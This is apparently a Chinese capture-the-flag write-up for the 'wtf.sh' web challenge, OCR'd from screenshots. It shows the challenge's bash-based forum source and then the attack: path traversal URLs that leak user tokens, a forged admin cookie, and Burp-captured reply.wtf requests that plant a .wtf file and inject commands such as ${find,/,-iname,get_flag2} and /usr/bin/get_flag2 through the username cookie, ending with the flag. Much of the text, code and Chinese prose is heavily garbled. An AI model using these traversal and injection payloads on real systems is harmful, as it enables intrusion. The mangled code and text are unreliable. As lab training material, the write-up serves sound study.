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http://111.200.241.244:53573/post.wtf?post=..



https://www.cnblogs.com/AtesetEnginner/p/11064279.html

HEL T —HPosted byM4RAT:

Posted by

<html=

$ source user_functions.sh <head> <link rel="stylesheet” type="text/css" href="/css/std.css" > </head> <body> <h1>Welcome
to the wifsh Forums!</h1> § if is logged in $ then $ echo "<p=>Hi, ${COOKIES['USERNAME’]}. <a
href="/logout.wtf'>Logout</a> <a href="/profile.wtf?user=$(basename $(find_user file ${COOKIES['USERNAME'T}))'>Profile</a>
</p>"% echo " <a href=/new _post.wtf>New Post</a>"; $ else $ echo "<p=>You're not logged in. <a href="/login.wtf'>Login</a>
<a href="/new_user.wtf'>Register</a></p>"$ fi <h3=Posts:</h3> <ol> § if [[ -e .index cache.html ]J] $ then $ cat
.index_cache.html; $ else $ for post file in posts/*; do $ post file=$(basename $post file); $ post _title=$(nth_line 2 <
posts/$post file | htmlentities); $ post_user=$(nth_line 1 < posts/$post file | htmlentities); $ echo "<li> <a href=\"/post.wtf?
post=$post file\">%$post title</a> by ${post user}</li>"; $ done; $ fi </ol> </body> </html>

Posted by

# Some useful standard functions to have around :) # check if an array contains a given value # contains "asdf® "asdf an array of
values" == has exit code 0 function contains { local e; for e in "${@:2}"; do [[ "$e" == "$1" ]] && return 0; done; return 1; }
function file_exists { local file=$1; stat ${file} = /dev/null; } function nth_line { local n=$%1; local filename; if [[ $# != 1 ]] then
filename=%2; sed "${n}q;d" < $filename; else sed "${n}q;d" fi 2> /dev/null } function redirect { local target="$1"; echo "
<script>window.location.href="${target}’; </script="; } # Hacky way of figuring out which date command is appropriate, #
depending if we're on BSD or GNU coreutils YESTERDAY CMD=""; TOMORROW _CMD=""; if date —-help | grep "GNU" > /dev/null
then # Using GNU date TOMORROW CMD="date -d tomorrow"; YESTERDAY CMD="date -d yesterday"; else # Using BSD date
TOMORROW CMD="date -v +1d"; YESTERDAY CMD="date -v -1d"; fi function set_cookie { local key="$1"; local value="%$2"; local
expiry=$(${TOMORROW CMD}); echo "<script>document.cookie = "${key}=%${value}; expires=${expiry}; path=/";</script=";
COOKIES[$key]="%{value}"; } function get cookie { echo "${COOKIES[$1]}"; } function remove_cookie { local key="$1"; local
expiry=$(${YESTERDAY CMD}); # expiration dates in the past delete cookies echo "<script>document.cookie = '${key}=riperino;
expires=${expiry}; path=/";</script=>"; unset COOKIES[$key]; } # take text on input, transform any html special chars to the
corresponding entities function htmlentities { sed "sA\&/\&amp;/g" | sed "s/<N\&It;/g" | sed "s/>/\&gt;/g"; }
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<html=

<head> <link rel="stylesheet" type="text/css" href="/css/std.css" > </head> $ source user _functions.sh § if [[ $method = 'POST’
11 $ then $ local username=${POST_PARAMS['username']}; $ local password=${POST PARAMS[ password']}; $ local
userfile=%(find_user file ${username}); $ if [[ ${userfile} = 'NONE" ]] $ then $ # User exists, try to login $ if $(check_password
${username} ${password}) $ then $ # correct pass $ set cookie "USERNAME" ${username}; $ set_cookie "TOKEN" $(nth_line 3
${userfile}); $ redirect */"; $ else $ # incorrect pass $ echo "<h3>Sorry, wrong password for user ${username}:(<br>Try again?
<fh3>"; § fi § else § # user doesn't exist $ echo "<h3>Sorry, user ${username} doesn't exist :(<br>Try again?</h3=>"$ fi § fi
<h3=>Login</h3> <form method=POST> <input type=text name=username placeholder="username”> </input=><br> <input
type=password name=password placeholder="password"> </input> <br> <button type=submit
name=submit>Submit</button> </form> </html>
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<html>
<head=> <link rel="stylesheet" type="text/css" href="/css/std.css" > </head> $ source user functions.sh § if is logged in % then
$ remove cookie 'USERNAME"; $ remove _cookie "TOKEN'; $ redirect */*; $ else $ echo "<h3>You need to be logged in to log out,
bud.</h3="; $ fi </html> CSDN @18947943
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$ source user_functions.sh
<html> <head> <link rel="stylesheet” type="text/css" href="/css/std.css" > </head> $ if contains 'user' ${{URL_PARAMS[@]}
&& file_exists "users/${URL PARAMS[ user']}" $ then $ local username=$(head -n 1 users/${URL PARAMS['user'l}); $ echo "
<h3=>%{username}’s posts:</h3>"; $ echo "<ol>"; $ get users_posts "${username}” | while read -r post; do $ post slug=%(awk -F/
Yprint $2 "#" $3}' <<< "${post}"); $ echo "<li><a href=\"/post.wtf?post=3${post slugh\">$(nth_line 2 "${post}" | htmlentities)</a>
</li="; $ done $ echo "</ol>"; § ifis_logged in && [[ "${COOKIES['USERNAME']}" = ‘admin’ ]] && [[ ${username} = "admin’ ]] $
then $ get {ER1 $ fi § fi </html>
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html
head
link rel type href
/head
if contains ${!URL_PARAMS[@]} file exists ${URL_PARAMS|[ "user']}

username=$(head -n 1 users/${URL_PARAMS][
${username} ;
5

get_users_posts "${username} while -r post;

post_slug=$(awk -F/ $2 $3 ${post}");
${post_slug}\">$(nth_line 2 "${post} htmlentities)

if is_logged in [[ "${COOKIES['USERNAME']} 11 [[ ${username}
then
get_flagl

o R AR T

$ if is_logged_in [[ "${COOKIES[ 'USERNAME']} 11 [[ ${username}
$ then
3 get_flagl
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http://111.200.241.244:60136/post.wtf?post=../users
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5/YW1MOYKkR2p2dXGaudsmlhnndqwN +ltbkawob350lu33DjOrkp7 1rxVzVikYCltmtwm5Jo1CV6+68sBleXEQ==

Posted by
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sT3Psjt6/alpGjMORE+D2efD5nL1RGO9IMY + PAPNMIiAz2nJuRcNjCstbPADXPOrtT7/DORyMXUCHI8vSxtpmww==
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Posted by
e19d1153894073cec6fa?93f386db527568676a9
9UJCUIMNAS5/IGOhDsTJupgpM11z0QnT2j7j0IWACSLMRYFhKhvSWQcnny4jByv + QDtOYaHEpiWOgWFzZSwztOw==

Posted by
e5fad4f2b31c1fb553b6021e7360d07d5d911f5e
75kP8gV+G1MDYH6tIKpJVIMBAXT/iiRploinOzCgk4JwMESyoUwZ fk+6witH3x3Dz/BjloUUpuaxLitm5e7o0PAQ==
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d5aeb81cc11ea3099ce3d2ccf0657d0bd8291b3e
CiBqmT2EHutdV7yYd8pd3URdXYydHDEWtkOFUISBsKG +LYinte/lz6wnX7vjwlug90HS7gZLylonK3LWSI7Kw==

Posted by
53df62157e75601299b6383¢c8125a13443088d66
dZrv8QKfar/SUAEgSDeAugsxC51vhdox2XDdDdd4Tjk)5pnNgjAMyXIGsTIbghKAJAsrxthKBp9J78UNIGA+g==

Posted by
607d4a023ebb6185a46816c3c10a640668fa2fa8b
A9HDbVAIvFE/kd33ruVgstfSdlJjDZ590glQ8h6fxTDWEIRr57pgq)QE6RamZBOAKTNivF1V8RNdpf2I7npiLiA==

Posted by
abeb4c0211267e2aad065d60f6d162ff7e1e53bb
iBe1ZMdXPf3fK3LyGUxIUBXzDk/95WI2Q4we5n7VhMHON9rx8pV2U5pTeQXjKDDGSANCKhOWEpYyXg4MCrli2geQ==

Posted by
aed75a820a6b5ade1d2e8b427b59d53d15f1f715
uYpiNNf/X0/0xNfgmsuoKFEIRIQDwWNbS2T6LdHDRWHS5p3x4bL4sxNORMg17KJhAmTMyr8Sem+ +flﬁ%$‘w
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1 GET / HTTF/1.1 1 HTTR/1l.1 200 OK

Z Host: 111.200.241.244:53573 2 Content-Types: text/html

3 Upgrade-Insscure-Requests: 1 3 X¥-Powered-By: wtf.sh 0.0.0.0.1 "alphasst of bets"

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4d: 4 ¥-Bash-Fact: If you forget the brackets in an array
xE4) AppleWebKit/537.36 (EHTHL, like Gecko) access, bash will Just return the first element of
Chrome/96.0.4664.45 Safari/537.36 the array.

S Accept: 5

text/html, application/xhtml+xml, application/xml; =0

.9, image/ avif, image/ webp, image,/ apng, */ *:q=0.8,appli 7 <html>
cation/signed-exchange;wv=b3;q=0.9 B <head>
& Referer: http://111.200.241.244:53573/login.wtf g <link rel="stylesheet" type="text/css" href="
7 Accept-Encoding: gzip, deflate Joss/std.css" >
= Accept-Lancguage: zh-CH, zh;qg=0.9 10 </ head>
S Cookie: USERMNAME=1; TOEKEN= 11 <body>
TSkPEgV+GIMDYVHEL 1EpJVENEAKE/ 1iRpToinOzCgkdIwMESyoUw 12 <hl>
Zfk+E6wtH3ix3Dz/ Bl I0UTpuaxLltmSeToP AQ== Welcome to the wtf.sh Forums!
10 Connection: close <fhl>
11 13 <P
12 Hi, 1. <a href='/logout.wtf':>
Logout
</ ax
<a href='/profile.wtf?user=IkDPC'>
FProfile
</ ax
</p> CSDON @|B9479473

14 <a href=/new vnost.wtf>

o B T HE— 8RR A AR cookie, FB-4 W LME Fadminf) ik 2 Fi %t B cookie B AT & 5, BABEEME:

Welcome to the wtf.sh Forums!

Hi, admin.
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function reply {

post_id=$1;

username=$2;

text=%$3;

hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply id=$(awk $1 ${curr_id}");
next_file=(posts/${post_id}/${next_reply id});

${username} ${next _file}";

$(nth_line 2 ${post_id} ) ${next_file}";
${text} ${next_file}";

${post_id}/${next_reply id} ${hashed}




XBAARISE R EAEWSCH IR AT, RXFERERN] EAEPITH4 EE, IERFEFPATRNG @S, NMRAIGEE IR B RS+
flag2ILEMAE . B2 HEMNFATR, BERIZ BEF MR FRESKIIEE, BoBRMARBERFAEE, baeH
Ex, RiEHFBMag2.

LA
BEFEMAR, WKPATFER: ${find,/,-iname,get_flag2} , BNFUHE:

Welcome to the wtf.sh Forums!

Hi, ${find./,-iname,get flag2}.

REBE-TAH 2 BEERZE-NMHI S, RIWBEESE:

/ Request to http://111.200.241.244:60136

| Forward Crop Intercept is on Action Open Browser
Pretty Hex \n | =

1 POST /reply.wtf?post=nf¥wv HTTP/Ll.1l

Z Host: 111.200.241.244:£0136

3 Content-Length: Z0

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

£ Origin: http://111.200.241.244:€013¢

7 Content-Type: application/x-www-form-urlencoded

° User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x€4) AppleWebKit/537.36 (EHTHML, like Gecko) Chro
S Accept: text/html,application/xhtml4xml, application/=xml;q=0.9, image/avif, image/vebp, image/ apng, */
10 Referer: http://111.200.241.244:60136/reply.wtE?post=nt¥uv
11 Accept-Encoding: gzip, deflate

12 T = Zho I _zhe =0 _C
;EICookie: USERNAHE=${find,f,—iname,get_flag:}:ITOKEN=j9GD+9dhjsSEHNUP:TnHDqFquchYoyiAHTﬂvx:rlwo?l
14 Connectlon: close

16 text=I2I22222&submit=

usernamefI N A LLE T THINE BAEZE . JusersCHER T -

Posted by
e5fa44f2b3TcTib553b6U2Te/360d0/d5d911f5e
J9G0+9dhjs86HNUP2TnHOgFXgxcQiYoyAAW Tdvxzriwo71A9Fhx)1q2d79aMyvKixCBI1xolCnhxvOwoMcNCvw==

Posted by
064c0e93d41f9e960f2585cf4812bad6295a7c02
5/YW1MOYKkR2p2dXGaudsmlhnndqwN +ltbkawob350lu33DjOrkp7 1rxVzVikYCltmtwm5Jo1CV6+68sBJeXEQ==

BE, BAIMEpostE el LRl CXERMALAE, NIz IHEM S It BT KRS AL B A2 T users_lookup
, XHZECE, BEHAW. %09RAFHIRRF, LGN, AMREESSERINKETABE R ERT. D

L TVEYUTIL L HILLEAS 1 e s s s |

Forward Drop Intercept is on Action Open Browser

d Pretty IGERE Hex Wl =
1 POST /replyv.wtfPpost=../users lookupﬁlSB.wtf%DQIHTTP/l.l




Host: 111.200.Z241.244:€013¢8

3 Content-Length: Z0

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://L111.200.241.244:E6013¢

Content-Type: application/w-www-form-urlencodsd

2 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£64) AppleWebKit/537.3& (KHTHML, like Gec
9 Accept: text/html,application/xhtml+4xml, application/xml;q=0.9, image/avif, image,/wehp, imags
10 Beferer: http://LlL11.200.241.244:60136/reply.wtE?post=ntywv

11 Aecept-Encoding: gzip, deflate

12 Accept-Language: zh-CHN, zh:;qg=0.9

13 Cookie: USERNAHE=${find,f,—iname,get_flag:}; TOEEN=19G0+9dhisE8c HNUPZ TnHOqgF Xgxe Qi Yoy AAWTdvw
i Connection: close

1 on L s

e ——
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EfectmsEfE, BATEEV X MK AL, tmdERET, WE:
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&« C A F==| 111.200.241.244:60136/users_lookup/123.witf#
CEE = BRI mEEE | R

/usr/bin/get flag2 RE: 222

C5DN @

] v ]

A7 .,
Qs I J= D

i B flag2 i 7 B 7 XA 42

Z i flag2
HEMFH P flag2, XEBE@ERE— T A 2BEEM XA, simRIER 2iflag! 8% K4 R Zget_flag1, FrLlix B
BATEM — A get_flag2i A, kI HKfalg2. FEMPIHF 2 N:




FRERERE, RE L —BEPRE, BFHPEMHburpsuite, #XCookiefflUSERNAME & $/usr/bin/get_flag2, FH1&Hpostith

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Exter
ntercept HTTP history WebSockets history Options

/ Regquest to http://111.200.241.244:60136

|_ Forward | | Drop | | Action | | Open Browser

Pretty IEWE Hex ? \n =

1 POST /reply.wtEfpost=../users lookupfres.wtf%DBIHTTPfl.l

Host: 111.200.241.244:60136

Content-Length: 19

Cache-Control: max-ags=0

Upgrade-Insecure-Requests: 1

Origin: htep://111.200.241.244:60L136

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x£4) AppleWebKit/537.36 (EHTML, like Gecko) Chre
Accept: text/htwl,application/xhtml+xml,application/xml;q=0.9, image/avif, image/wvebp, image,/apng, */
Referer: http://111.200.241.244:60136/reply.wtE?post=10ESw

Aocept-Encoding: gzip, deflate

e I VI Y SO VI O

=V R =]

12 Accept-Language. zhoCNL zhog=0_0

13 Cookie: |USERMAME=S/usr/bin/gst flagj;ITOKEN=EL9nejYRY:szgNCjB'?JBSr'?HaSBj‘lNe'?nGVFfnyoXEoiSVU4lkE
14 Connection: close

15

16 text=I2I222&submits]
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j:_l.l:’ ﬁu@:

R, FEEERER, vin BB, B85 —Ffag, WHE:
® =B X @ 111.200.241.244:60136/users. X | @ 111
& C A F==| 111.200.241.244:60136/users_lookup/res.wtf#
CEE = BRI HEEE M

Flag: 149e5ec49d3c29ca} D@ RE: 222222

5
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e

o
I

3T H—¥: Flag: 149e5ec49d3c29ca}
F ik, m&1B3flag: xctf{cb49256d1ab48803149e5ec49d3c29ca}
3. 84
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